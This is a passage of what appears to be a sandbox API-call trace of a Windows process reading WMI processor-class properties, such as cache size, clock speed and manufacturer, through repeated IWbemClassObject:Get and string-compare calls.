[0148.289] malloc (_Size=0x18) returned 0x2cca00 [0148.289] IWbemClassObject:Get (in: This=0x3dd960, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="DeviceID", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ErrorCleared", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.289] free (_Block=0x2cca00) [0148.289] malloc (_Size=0x18) returned 0x2cca00 [0148.289] lstrlenW (lpString="ErrorCleared") returned 12 [0148.289] lstrlenW (lpString="name") returned 4 [0148.289] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ErrorCleared", cchCount2=12) returned 3 [0148.289] free (_Block=0x2cca00) [0148.289] IUnknown:Release (This=0x3dd960) returned 0x1 [0148.289] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.289] malloc (_Size=0x18) returned 0x2cca00 [0148.290] IWbemClassObject:Get (in: This=0x3ddc10, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ErrorCleared", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ErrorDescription", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.290] free (_Block=0x2cca00) [0148.290] malloc (_Size=0x18) returned 0x2cca00 [0148.290] IWbemClassObject:Get (in: This=0x3ddc10, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ErrorCleared", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ErrorDescription", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.290] free (_Block=0x2cca00) [0148.290] malloc (_Size=0x18) returned 0x2cca00 [0148.290] lstrlenW (lpString="ErrorDescription") returned 16 [0148.290] lstrlenW (lpString="name") returned 4 [0148.290] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ErrorDescription", cchCount2=16) returned 3 [0148.290] free (_Block=0x2cca00) [0148.291] IUnknown:Release (This=0x3ddc10) returned 0x1 [0148.291] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.291] malloc (_Size=0x18) returned 0x2cca00 [0148.291] IWbemClassObject:Get (in: This=0x3ddec0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ErrorDescription", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ExtClock", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.291] free (_Block=0x2cca00) [0148.291] malloc (_Size=0x18) returned 0x2cca00 [0148.291] IWbemClassObject:Get (in: This=0x3ddec0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ErrorDescription", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ExtClock", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.291] free (_Block=0x2cca00) [0148.291] malloc (_Size=0x18) returned 0x2cca00 [0148.291] lstrlenW (lpString="ExtClock") returned 8 [0148.291] lstrlenW (lpString="name") returned 4 [0148.291] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ExtClock", cchCount2=8) returned 3 [0148.291] free (_Block=0x2cca00) [0148.292] IUnknown:Release (This=0x3ddec0) returned 0x1 [0148.292] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.292] malloc (_Size=0x18) returned 0x2cca00 [0148.292] IWbemClassObject:Get (in: This=0x3de170, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ExtClock", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Family", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.292] free (_Block=0x2cca00) [0148.292] malloc (_Size=0x18) returned 0x2cca00 [0148.292] IWbemClassObject:Get (in: This=0x3de170, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ExtClock", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Family", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.292] free (_Block=0x2cca00) [0148.292] malloc (_Size=0x18) returned 0x2cca00 [0148.292] lstrlenW (lpString="Family") returned 6 [0148.292] lstrlenW (lpString="name") returned 4 [0148.292] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Family", cchCount2=6) returned 3 [0148.293] free (_Block=0x2cca00) [0148.293] IUnknown:Release (This=0x3de170) returned 0x1 [0148.293] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.293] malloc (_Size=0x18) returned 0x2cca00 [0148.293] IWbemClassObject:Get (in: This=0x3de420, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Family", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="InstallDate", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.293] free (_Block=0x2cca00) [0148.293] malloc (_Size=0x18) returned 0x2cca00 [0148.293] IWbemClassObject:Get (in: This=0x3de420, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Family", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="InstallDate", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.293] free (_Block=0x2cca00) [0148.293] malloc (_Size=0x18) returned 0x2cca00 [0148.294] lstrlenW (lpString="InstallDate") returned 11 [0148.294] lstrlenW (lpString="name") returned 4 [0148.294] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="InstallDate", cchCount2=11) returned 3 [0148.294] free (_Block=0x2cca00) [0148.294] IUnknown:Release (This=0x3de420) returned 0x1 [0148.294] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.294] malloc (_Size=0x18) returned 0x2cca00 [0148.294] IWbemClassObject:Get (in: This=0x3de6d0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="InstallDate", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="L2CacheSize", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.294] free (_Block=0x2cca00) [0148.294] malloc (_Size=0x18) returned 0x2cca00 [0148.295] IWbemClassObject:Get (in: This=0x3de6d0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="InstallDate", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="L2CacheSize", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.295] free (_Block=0x2cca00) [0148.295] malloc (_Size=0x18) returned 0x2cca00 [0148.295] lstrlenW (lpString="L2CacheSize") returned 11 [0148.295] lstrlenW (lpString="name") returned 4 [0148.295] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="L2CacheSize", cchCount2=11) returned 3 [0148.295] free (_Block=0x2cca00) [0148.295] IUnknown:Release (This=0x3de6d0) returned 0x1 [0148.295] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.295] malloc (_Size=0x18) returned 0x2cca00 [0148.295] IWbemClassObject:Get (in: This=0x3de980, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="L2CacheSize", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="L2CacheSpeed", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.295] free (_Block=0x2cca00) [0148.295] malloc (_Size=0x18) returned 0x2cca00 [0148.296] IWbemClassObject:Get (in: This=0x3de980, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="L2CacheSize", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="L2CacheSpeed", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.296] free (_Block=0x2cca00) [0148.296] malloc (_Size=0x18) returned 0x2cca00 [0148.296] lstrlenW (lpString="L2CacheSpeed") returned 12 [0148.296] lstrlenW (lpString="name") returned 4 [0148.296] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="L2CacheSpeed", cchCount2=12) returned 3 [0148.296] free (_Block=0x2cca00) [0148.296] IUnknown:Release (This=0x3de980) returned 0x1 [0148.296] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.296] malloc (_Size=0x18) returned 0x2cca00 [0148.296] IWbemClassObject:Get (in: This=0x3dec30, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="L2CacheSpeed", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="LastErrorCode", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.297] free (_Block=0x2cca00) [0148.297] malloc (_Size=0x18) returned 0x2cca00 [0148.297] IWbemClassObject:Get (in: This=0x3dec30, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="L2CacheSpeed", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LastErrorCode", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.297] free (_Block=0x2cca00) [0148.297] malloc (_Size=0x18) returned 0x2cca00 [0148.297] lstrlenW (lpString="LastErrorCode") returned 13 [0148.297] lstrlenW (lpString="name") returned 4 [0148.297] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="LastErrorCode", cchCount2=13) returned 3 [0148.297] free (_Block=0x2cca00) [0148.297] IUnknown:Release (This=0x3dec30) returned 0x1 [0148.297] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.298] malloc (_Size=0x18) returned 0x2cca00 [0148.298] IWbemClassObject:Get (in: This=0x3deee0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="LastErrorCode", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Level", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.298] free (_Block=0x2cca00) [0148.298] malloc (_Size=0x18) returned 0x2cca00 [0148.298] IWbemClassObject:Get (in: This=0x3deee0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LastErrorCode", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Level", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.298] free (_Block=0x2cca00) [0148.298] malloc (_Size=0x18) returned 0x2cca00 [0148.298] lstrlenW (lpString="Level") returned 5 [0148.298] lstrlenW (lpString="name") returned 4 [0148.298] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Level", cchCount2=5) returned 3 [0148.299] free (_Block=0x2cca00) [0148.299] IUnknown:Release (This=0x3deee0) returned 0x1 [0148.299] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.299] malloc (_Size=0x18) returned 0x2cca00 [0148.300] IWbemClassObject:Get (in: This=0x3df190, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Level", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="LoadPercentage", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.300] free (_Block=0x2cca00) [0148.300] malloc (_Size=0x18) returned 0x2cca00 [0148.300] IWbemClassObject:Get (in: This=0x3df190, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Level", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LoadPercentage", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.300] free (_Block=0x2cca00) [0148.300] malloc (_Size=0x18) returned 0x2cca00 [0148.300] lstrlenW (lpString="LoadPercentage") returned 14 [0148.300] lstrlenW (lpString="name") returned 4 [0148.300] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="LoadPercentage", cchCount2=14) returned 3 [0148.300] free (_Block=0x2cca00) [0148.300] IUnknown:Release (This=0x3df190) returned 0x1 [0148.301] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.301] malloc (_Size=0x18) returned 0x2cca00 [0148.301] IWbemClassObject:Get (in: This=0x3df440, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="LoadPercentage", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Manufacturer", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.301] free (_Block=0x2cca00) [0148.301] malloc (_Size=0x18) returned 0x2cca00 [0148.301] IWbemClassObject:Get (in: This=0x3df440, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LoadPercentage", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Manufacturer", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.301] free (_Block=0x2cca00) [0148.301] malloc (_Size=0x18) returned 0x2cca00 [0148.301] lstrlenW (lpString="Manufacturer") returned 12 [0148.302] lstrlenW (lpString="name") returned 4 [0148.302] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Manufacturer", cchCount2=12) returned 3 [0148.302] free (_Block=0x2cca00) [0148.302] IUnknown:Release (This=0x3df440) returned 0x1 [0148.302] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.302] malloc (_Size=0x18) returned 0x2cca00 [0148.302] IWbemClassObject:Get (in: This=0x3df6f0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Manufacturer", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="MaxClockSpeed", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.302] free (_Block=0x2cca00) [0148.302] malloc (_Size=0x18) returned 0x2cca00 [0148.302] IWbemClassObject:Get (in: This=0x3df6f0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Manufacturer", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MaxClockSpeed", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.303] free (_Block=0x2cca00) [0148.303] malloc (_Size=0x18) returned 0x2cca00 [0148.303] lstrlenW (lpString="MaxClockSpeed") returned 13 [0148.303] lstrlenW (lpString="name") returned 4 [0148.303] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="MaxClockSpeed", cchCount2=13) returned 3 [0148.303] free (_Block=0x2cca00) [0148.303] IUnknown:Release (This=0x3df6f0) returned 0x1 [0148.303] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.303] malloc (_Size=0x18) returned 0x2cca00 [0148.303] IWbemClassObject:Get (in: This=0x3df9a0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="MaxClockSpeed", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Name", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.303] free (_Block=0x2cca00) [0148.303] malloc (_Size=0x18) returned 0x2cca00 [0148.304] IWbemClassObject:Get (in: This=0x3df9a0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MaxClockSpeed", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Name", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.304] free (_Block=0x2cca00) [0148.304] malloc (_Size=0x18) returned 0x2cca00 [0148.304] lstrlenW (lpString="Name") returned 4 [0148.304] lstrlenW (lpString="name") returned 4 [0148.304] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Name", cchCount2=4) returned 2 [0148.304] free (_Block=0x2cca00) [0148.304] GetCurrentThreadId () returned 0xfbc [0148.304] ??0CHString@@QEAA@XZ () returned 0x1af518 [0148.305] malloc (_Size=0x18) returned 0x2cca00 [0148.305] IWbemClassObject:Get (in: This=0x3df9a0, wszName="Description", lFlags=0, pVal=0x1af528*(varType=0x0, wReserved1=0xff7d, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x2cca00), pType=0x0, plFlavor=0x0 | out: pVal=0x1af528*(varType=0x1, wReserved1=0xff7d, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x2cca00), pType=0x0, plFlavor=0x0) returned 0x0 [0148.305] free (_Block=0x2cca00) [0148.305] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.305] malloc (_Size=0x48) returned 0x2ccc30 [0148.305] malloc (_Size=0x18) returned 0x2cca00 [0148.305] malloc (_Size=0x18) returned 0x2cc980 [0148.305] lstrlenA (lpString="") returned 0 [0148.306] malloc (_Size=0x2) returned 0x2ccc80 [0148.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="", cbMultiByte=-1, lpWideCharStr=0x2ccc80, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0148.306] free (_Block=0x2ccc80) [0148.306] free (_Block=0x2cc980) [0148.306] GetCurrentThreadId () returned 0xfbc [0148.306] ??0CHString@@QEAA@XZ () returned 0x1af318 [0148.306] malloc (_Size=0x18) returned 0x2cc980 [0148.307] IWbemClassObject:Get (in: This=0x3df9a0, wszName="Qualifiers", lFlags=0, pVal=0x1af388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x77995410, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af388*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x77995410, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.307] free (_Block=0x2cc980) [0148.307] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0148.307] malloc (_Size=0x18) returned 0x2cc980 [0148.307] malloc (_Size=0x18) returned 0x2ccaa0 [0148.307] malloc (_Size=0x48) returned 0x2ccc80 [0148.307] malloc (_Size=0x18) returned 0x2cc9a0 [0148.307] malloc (_Size=0x48) returned 0x2cccd0 [0148.307] malloc (_Size=0x70) returned 0x2ccd20 [0148.307] malloc (_Size=0x48) returned 0x2ccda0 [0148.308] free (_Block=0x2cccd0) [0148.308] free (_Block=0x2ccc80) [0148.309] free (_Block=0x2ccc30) [0148.309] IUnknown:Release (This=0x3df9a0) returned 0x1 [0148.309] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.309] malloc (_Size=0x18) returned 0x2cca40 [0148.309] IWbemClassObject:Get (in: This=0x3dfc50, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x0, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1=0x399418, varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="OtherFamilyDescription", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.309] free (_Block=0x2cca40) [0148.309] malloc (_Size=0x18) returned 0x2cca40 [0148.309] IWbemClassObject:Get (in: This=0x3dfc50, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x399448, varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="OtherFamilyDescription", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.310] free (_Block=0x2cca40) [0148.310] malloc (_Size=0x18) returned 0x2cca40 [0148.310] lstrlenW (lpString="OtherFamilyDescription") returned 22 [0148.310] lstrlenW (lpString="name") returned 4 [0148.310] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="OtherFamilyDescription", cchCount2=22) returned 1 [0148.310] free (_Block=0x2cca40) [0148.310] IUnknown:Release (This=0x3dfc50) returned 0x1 [0148.310] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.310] malloc (_Size=0x18) returned 0x2cca40 [0148.310] IWbemClassObject:Get (in: This=0x3dff00, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="OtherFamilyDescription", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="PNPDeviceID", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.311] free (_Block=0x2cca40) [0148.311] malloc (_Size=0x18) returned 0x2cca40 [0148.311] IWbemClassObject:Get (in: This=0x3dff00, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="OtherFamilyDescription", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="PNPDeviceID", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.311] free (_Block=0x2cca40) [0148.311] malloc (_Size=0x18) returned 0x2cca40 [0148.311] lstrlenW (lpString="PNPDeviceID") returned 11 [0148.311] lstrlenW (lpString="name") returned 4 [0148.311] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="PNPDeviceID", cchCount2=11) returned 1 [0148.311] free (_Block=0x2cca40) [0148.311] IUnknown:Release (This=0x3dff00) returned 0x1 [0148.311] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.312] malloc (_Size=0x18) returned 0x2cca40 [0148.312] IWbemClassObject:Get (in: This=0x3e01b0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="PNPDeviceID", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="PowerManagementCapabilities", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.312] free (_Block=0x2cca40) [0148.312] malloc (_Size=0x18) returned 0x2cca40 [0148.312] IWbemClassObject:Get (in: This=0x3e01b0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="PNPDeviceID", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="PowerManagementCapabilities", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.312] free (_Block=0x2cca40) [0148.312] malloc (_Size=0x18) returned 0x2cca40 [0148.312] lstrlenW (lpString="PowerManagementCapabilities") returned 27 [0148.312] lstrlenW (lpString="name") returned 4 [0148.313] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="PowerManagementCapabilities", cchCount2=27) returned 1 [0148.313] free (_Block=0x2cca40) [0148.313] IUnknown:Release (This=0x3e01b0) returned 0x1 [0148.313] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.313] malloc (_Size=0x18) returned 0x2cca40 [0148.313] IWbemClassObject:Get (in: This=0x3e0460, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="PowerManagementCapabilities", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="PowerManagementSupported", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.313] free (_Block=0x2cca40) [0148.313] malloc (_Size=0x18) returned 0x2cca40 [0148.313] IWbemClassObject:Get (in: This=0x3e0460, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 